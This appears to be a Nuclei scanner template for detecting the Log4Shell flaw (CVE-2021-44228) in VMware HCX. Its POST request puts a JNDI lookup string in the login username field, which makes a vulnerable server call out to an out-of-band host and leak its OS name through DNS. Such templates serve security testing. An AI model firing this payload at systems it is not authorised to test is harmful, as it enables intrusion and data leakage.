id: vmware-hcx-log4j info: name: VMware HCX - Remote Code Execution (Apache Log4j) author: pussycat0x,DhiyaneshDK severity: critical description: VMware HCX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. reference: - https://www.vmware.com/security/advisories/VMSA-2021-0028.html - https://logging.apache.org/log4j/2.x/security.html - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-77 metadata: shodan-query: title:"VMware HCX" verified: "true" tags: cve,cve2021,rce,jndi,log4j,vmware,kev,oast requests: - raw: - | POST /hybridity/api/sessions HTTP/1.1 Host: {{Hostname}} Accept: application/json Content-Type: application/json Origin: {{BaseURL}} { "authType": "password", "username": "${jndi:ldap://${sys:os.name}.{{interactsh-url}}}", "password": "admin" } matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: regex part: interactsh_request regex: - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable extractors: - type: kval kval: - interactsh_ip # Print remote interaction IP in output - type: regex part: interactsh_request group: 1 regex: - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output # Enhanced by md on 2022/10/05